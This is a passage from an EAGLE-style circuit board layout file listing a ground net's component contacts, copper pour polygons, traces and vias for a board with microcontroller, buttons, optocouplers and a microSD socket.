pad=\"2\"/>\n<contactref element=\"R7\" pad=\"1\"/>\n<contactref element=\"C9\" pad=\"1\"/>\n<contactref element=\"R1\" pad=\"2\"/>\n<contactref element=\"C1\" pad=\"2\"/>\n<contactref element=\"C3\" pad=\"2\"/>\n<contactref element=\"U3\" pad=\"3\"/>\n<contactref element=\"C27\" pad=\"2\"/>\n<contactref element=\"C28\" pad=\"2\"/>\n<contactref element=\"C5\" pad=\"2\"/>\n<contactref element=\"U2\" pad=\"2\"/>\n<contactref element=\"U4\" pad=\"11\"/>\n<contactref element=\"D1\" pad=\"1\"/>\n<contactref element=\"C2\" pad=\"2\"/>\n<contactref element=\"U1\" pad=\"4\"/>\n<contactref element=\"TEP\" pad=\"TP\"/>\n<contactref element=\"R4\" pad=\"1\"/>\n<contactref element=\"R3\" pad=\"1\"/>\n<contactref element=\"C7\" pad=\"2\"/>\n<contactref element=\"C6\" pad=\"2\"/>\n<contactref element=\"U1\" pad=\"10\"/>\n<contactref element=\"U1\" pad=\"5\"/>\n<contactref element=\"R5\" pad=\"2\"/>\n<contactref element=\"R9\" pad=\"2\"/>\n<contactref element=\"TEP2\" pad=\"TP\"/>\n<contactref element=\"TEP1\" pad=\"TP\"/>\n<contactref element=\"U6\" pad=\"75\"/>\n<contactref element=\"U6\" pad=\"36\"/>\n<contactref element=\"U6\" pad=\"65\"/>\n<contactref element=\"U6\" pad=\"15\"/>\n<contactref element=\"U6\" pad=\"45\"/>\n<contactref element=\"U6\" pad=\"31\"/>\n<contactref element=\"C16\" pad=\"2\"/>\n<contactref element=\"C15\" pad=\"2\"/>\n<contactref element=\"C13\" pad=\"1\"/>\n<contactref element=\"C14\" pad=\"1\"/>\n<contactref element=\"RESET\" pad=\"1\"/>\n<contactref element=\"USER\" pad=\"1\"/>\n<contactref element=\"BOOTLOADER\" pad=\"1\"/>\n<contactref element=\"USER\" pad=\"2\"/>\n<contactref element=\"BOOTLOADER\" pad=\"2\"/>\n<contactref element=\"RESET\" pad=\"2\"/>\n<contactref element=\"C22\" pad=\"2\"/>\n<contactref element=\"C23\" pad=\"2\"/>\n<contactref element=\"C24\" pad=\"2\"/>\n<contactref element=\"C21\" pad=\"2\"/>\n<contactref element=\"C20\" pad=\"2\"/>\n<contactref element=\"C19\" pad=\"2\"/>\n<contactref element=\"LED1\" pad=\"C\"/>\n<contactref element=\"C18\" pad=\"2\"/>\n<contactref element=\"C30\" pad=\"2\"/>\n<contactref element=\"C25\" pad=\"1\"/>\n<contactref element=\"C29\" pad=\"2\"/>\n<contactref element=\"JP16\" pad=\"3\"/>\n<contactref element=\"U8\" pad=\"P$1\"/>\n<contactref element=\"U8\" pad=\"P$1\"/>\n<polygon width=\"0.3\" layer=\"16\">\n<vertex x=\"0\" y=\"75\"/>\n<vertex x=\"112\" y=\"75\"/>\n<vertex x=\"112\" y=\"0\"/>\n<vertex x=\"0\" y=\"0\"/>\n</polygon>\n<polygon width=\"0.3\" layer=\"1\">\n<vertex x=\"0\" y=\"75\"/>\n<vertex x=\"112\" y=\"75\"/>\n<vertex x=\"112\" y=\"0\"/>\n<vertex x=\"0\" y=\"0\"/>\n</polygon>\n<contactref element=\"JP18\" pad=\"2\"/>\n<contactref element=\"U5\" pad=\"7\"/>\n<contactref element=\"U7\" pad=\"CARD_GND_PIN5\"/>\n<wire x1=\"64.6\" y1=\"53.2\" x2=\"64.52\" y2=\"53.1906\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"53.4\" y1=\"44.5\" x2=\"53.3948\" y2=\"44.58\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"55.9\" y1=\"44.5\" x2=\"55.9094\" y2=\"44.58\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"60.4\" y1=\"43.9\" x2=\"60.4\" y2=\"44.5\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"60.4\" y1=\"44.5\" x2=\"60.4052\" y2=\"44.58\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"60.4\" y1=\"43.9\" x2=\"60.40518125\" y2=\"43.79134375\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"24.2\" y1=\"51.6\" x2=\"24.195\" y2=\"51.56\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"24.2\" y1=\"51.6\" x2=\"24.15449375\" y2=\"51.519478125\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"1.6\" y1=\"58.6\" x2=\"1.61\" y2=\"58.63\" width=\"0.25\" layer=\"16\"/>\n<wire x1=\"1.6\" y1=\"58.6\" x2=\"1.71401875\" y2=\"58.52599375\" width=\"0.25\" layer=\"16\"/>\n<via x=\"10.4\" y=\"51.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"14.2\" y=\"52.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"17.1\" y=\"52.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"19.3\" y=\"49.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"8.9\" y=\"46.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"5.6\" y=\"39.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"24.6\" y=\"46.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"58.1\" y=\"55.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"58.3\" y=\"48.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"53.6\" y=\"47.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"60.8\" y=\"39.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"2.9\" y=\"57.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"16.6\" y=\"44\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"24.6\" y=\"44\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"30.8\" y=\"48.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"31.6\" y=\"43.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"37.9\" y=\"41.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"31.6\" y=\"36.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"43.9\" y=\"53.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"42.3\" y=\"57.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"36.5\" y=\"60.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"22.5\" y=\"58.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"24.4\" y=\"61.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"16.3\" y=\"66.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"18.8\" y=\"65.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"20.3\" y=\"66.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"26.2\" y=\"66\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"37.3\" y=\"65.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"43.2\" y=\"64.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"45.9\" y=\"66.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"48.8\" y=\"64\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"50.69\" y=\"67.22\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"67\" y=\"53.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"111\" y=\"53.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"81.7\" y=\"59.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"110.7\" y=\"61.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"78.6\" y=\"63.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"70.07\" y=\"64.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"82.6\" y=\"67.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"87.7\" y=\"41.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"84.6\" y=\"40\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"78.6\" y=\"42\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"73.6\" y=\"42\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"73.6\" y=\"39.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"77.6\" y=\"37.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"84.6\" y=\"37.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"89.6\" y=\"44.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"61.9\" y=\"68.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"68.6\" y=\"66.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"78.1\" y=\"66.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"59.1\" y=\"51.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"54.8\" y=\"51.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"61.9\" y=\"51.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"60.40518125\" y1=\"43.79134375\" x2=\"60.39134375\" y2=\"43.69134375\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"60.39134375\" y1=\"43.69134375\" x2=\"60\" y2=\"43.3\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"60\" y1=\"43.3\" x2=\"60\" y2=\"42.4\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"60\" y1=\"42.4\" x2=\"60.4\" y2=\"42\" width=\"0.25\" layer=\"1\"/>\n<via x=\"60.4\" y=\"42\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"60.4\" y1=\"42\" x2=\"60.4\" y2=\"40.1\" width=\"0.25\" layer=\"16\"/>\n<wire x1=\"60.4\" y1=\"40.1\" x2=\"60.8\" y2=\"39.7\" width=\"0.25\" layer=\"16\"/>\n<wire x1=\"55.9\" y1=\"44.5\" x2=\"55.9\" y2=\"46.3\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"55.9\" y1=\"46.3\" x2=\"54.3\" y2=\"47.9\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"53.3948\" y1=\"44.58\" x2=\"53.3948\" y2=\"45.5948\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"53\" y1=\"47.3\" x2=\"53.6\" y2=\"47.9\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"37.9\" y1=\"41.1\" x2=\"37.90003125\" y2=\"41.09998125\" width=\"0.25\" layer=\"1\"/>\n<via x=\"43.3\" y=\"66.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"44.2\" y=\"60.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"90.2\" y=\"48.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"82.3\" y=\"52.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"74.34\" y=\"49.64\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"71\" y=\"49.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"66.6\" y=\"43.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"65.3\" y=\"41.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"97.6\" y=\"25.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"99.4\" y=\"25.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"59.1\" y=\"20.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"41.3\" y=\"18.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"46.6\" y=\"23.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"40.3\" y=\"23.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"44.6\" y=\"30.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"48.6\" y=\"30.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"51.6\" y=\"30.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"54.59\" y=\"29.38\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"69.59\" y=\"33.11\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"54.41\" y=\"36.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"34\" y=\"31.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"39.6\" y=\"37\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"26.3\" y=\"32.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"22.9\" y=\"29.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"31.6\" y=\"41.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"28.3\" y=\"41.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"26.8\" y=\"41.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"28.8\" y=\"63.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"31.6\" y=\"61.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"24.3\" y=\"68.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"28.2\" y=\"68.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"34.2\" y=\"68.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"36.7\" y=\"68.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"30.9\" y=\"68.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"44.3\" y=\"68.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"45.6\" y=\"47.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"52.8\" y=\"50.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"57\" y=\"33.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"37.9\" y1=\"41.1\" x2=\"37.9000125\" y2=\"41.10003125\" width=\"0.25\" layer=\"16\"/>\n<wire x1=\"37.6\" y1=\"41.1\" x2=\"37.9\" y2=\"41.1\" width=\"0.25\" layer=\"16\"/>\n<via x=\"45.6\" y=\"37.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"47.5\" y=\"38.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"22.9\" y=\"63.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"40.6\" y=\"52.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"46.8\" y=\"50.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"36.6\" y=\"52.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"33.1\" y=\"49.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"32.9\" y=\"57.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"32.6\" y=\"38.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"23.6\" y=\"38.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"29.2\" y=\"56.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"59\" y=\"68.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"64.52\" y1=\"53.1906\" x2=\"63.5906\" y2=\"53.1906\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"63.5906\" y1=\"53.1906\" x2=\"63.1\" y2=\"52.7\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"63.1\" y1=\"52.7\" x2=\"62\" y2=\"52.7\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"62\" y1=\"52.7\" x2=\"62\" y2=\"51.7\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"62\" y1=\"51.7\" x2=\"61.9\" y2=\"51.7\" width=\"0.25\" layer=\"1\"/>\n<via x=\"51.9\" y=\"64.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"68.6\" y=\"42\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"69\" y=\"44.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"73.6\" y=\"43.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"78.6\" y=\"43.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"54.41\" y=\"33.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"54.41\" y1=\"33.1\" x2=\"54.41\" y2=\"36.8\" width=\"0.25\" layer=\"1\"/>\n<via x=\"54.6\" y=\"41.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"38\" y1=\"41\" x2=\"37.9\" y2=\"41.1\" width=\"0.25\" layer=\"16\"/>\n<wire x1=\"38\" y1=\"41\" x2=\"37.9000125\" y2=\"41.10003125\" width=\"0.25\" layer=\"16\"/>\n<via x=\"6.7\" y=\"56.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"7.4\" y=\"54.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"42.6\" y=\"30.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"69.7\" y=\"39.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"63.09\" y=\"36.96\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"67.8\" y=\"37\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"64.7\" y=\"37\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"61.2\" y=\"48\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"74.6\" y=\"46.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"69.6\" y=\"51.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"67.3\" y1=\"53.9\" x2=\"69.6\" y2=\"51.6\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"67\" y1=\"53.9\" x2=\"67.3\" y2=\"53.9\" width=\"0.25\" layer=\"1\"/>\n<via x=\"83.3\" y=\"25.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"80.8\" y=\"22.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"81.5\" y=\"19\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"95.8\" y=\"18.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"95.8\" y=\"21.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"104.1\" y=\"44.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"80.3\" y=\"58.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"95.2\" y=\"50.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"92.7\" y=\"49.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"111.2\" y=\"56.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"102.7\" y=\"37.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"89.9\" y=\"42.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"92.9\" y=\"44.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"90.6\" y=\"38.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"84.6\" y=\"31\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"93.5\" y=\"58.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"99.3\" y=\"67.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"96.3\" y=\"67.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"91\" y=\"50.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"94.1\" y=\"67.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"79.6\" y=\"56.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"39.2\" y=\"49.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"49.6\" y=\"44.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"54.3\" y1=\"47.9\" x2=\"53.6\" y2=\"47.9\" width=\"0.25\" layer=\"1\"/>\n<contactref element=\"C26\" pad=\"2\"/>\n<via x=\"51.4\" y=\"10.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"49.1\" y=\"10.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"54.1\" y=\"8.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"109.2\" y=\"69.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<contactref element=\"JP14\" pad=\"40\"/>\n<contactref element=\"JP15\" pad=\"40\"/>\n<via x=\"39.6\" y=\"38.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"36.6\" y=\"38.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"47.7094\" y1=\"51.2094\" x2=\"46.8\" y2=\"50.8\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"50.2794\" y1=\"51.2094\" x2=\"50.52\" y2=\"51.45\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"50.52\" y1=\"51.45\" x2=\"50.52\" y2=\"52.28\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"50.52\" y1=\"52.28\" x2=\"51.02\" y2=\"52.78\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"51.02\" y1=\"52.78\" x2=\"51.87\" y2=\"52.78\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"51.87\" y1=\"52.78\" x2=\"52.8\" y2=\"51.85\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"52.8\" y1=\"51.85\" x2=\"52.8\" y2=\"50.2\" width=\"0.3\" layer=\"1\"/>\n<via x=\"72.6\" y=\"31\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"64.6\" y=\"31.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"61.5\" y=\"29.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"24.7\" y=\"41.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"47.7094\" y1=\"51.2094\" x2=\"49.28\" y2=\"51.2094\" width=\"0.28\" layer=\"1\"/>\n<wire x1=\"50.2794\" y1=\"51.2094\" x2=\"49.28\" y2=\"51.2094\" width=\"0.28\" layer=\"1\"/>\n<contactref element=\"Q1\" pad=\"3\"/>\n<contactref element=\"TP15\" pad=\"TP\"/>\n<wire x1=\"7.77\" y1=\"58.63\" x2=\"1.61\" y2=\"58.63\" width=\"0.4\" layer=\"16\"/>\n<contactref element=\"D6\" pad=\"P$2\"/>\n<contactref element=\"OPTO_MOS1\" pad=\"C\"/>\n<via x=\"74.6\" y=\"68.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<contactref element=\"TUNE\" pad=\"1\"/>\n<contactref element=\"OPTO_MOS2\" pad=\"C\"/>\n<contactref element=\"JP1\" pad=\"1\"/>\n<contactref element=\"JP1\" pad=\"2\"/>\n<contactref element=\"JP1\" pad=\"3\"/>\n<contactref element=\"USD_1\" pad=\"6\"/>\n<contactref element=\"USD_1\" pad=\"GND\"/>\n<contactref element=\"USD_1\" pad=\"GND@1\"/>\n<contactref element=\"USD_1\" pad=\"GND@2\"/>\n<contactref element=\"USD_1\" pad=\"GND@3\"/>\n<contactref element=\"C17\" pad=\"2\"/>\n<contactref element=\"USD_1\" pad=\"B\"/>\n<wire x1=\"91.8\" y1=\"50.5\" x2=\"92.7\" y2=\"49.6\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"91.8\" y1=\"50.5\" x2=\"91.8\" y2=\"52.09\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"91.8\" y1=\"52.09\" x2=\"91.75\" y2=\"52.14\" width=\"0.4\" layer=\"16\"/>\n<via x=\"76.4\" y=\"39.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"56.6\" y=\"38.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"49.7\" y=\"38.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"38.2\" y=\"59.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"45.8\" y=\"44.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"41.2\" y=\"47\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"42.25\" y=\"48.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"50.91\" y=\"65.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"64.1\" y=\"43\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"62.1\" y=\"37.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"65.8\" y=\"39.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"28.3\" y=\"39.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"26.7\" y=\"39.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"38.9\" y=\"43.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"23.7\" y=\"48.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"30.9\" y=\"56\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"84.2\" y=\"46.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"76.4\" y=\"25.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"76.6\" y=\"29.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"74.7\" y=\"29.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"53.3948\" y1=\"45.5948\" x2=\"53\" y2=\"45.9896\" width=\"0.25\" layer=\"1\"/>\n<wire x1=\"53\" y1=\"45.9896\" x2=\"53\" y2=\"47.3\" width=\"0.25\" layer=\"1\"/>\n<contactref element=\"D5\" pad=\"P$2\"/>\n<via x=\"93.9\" y=\"52.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via 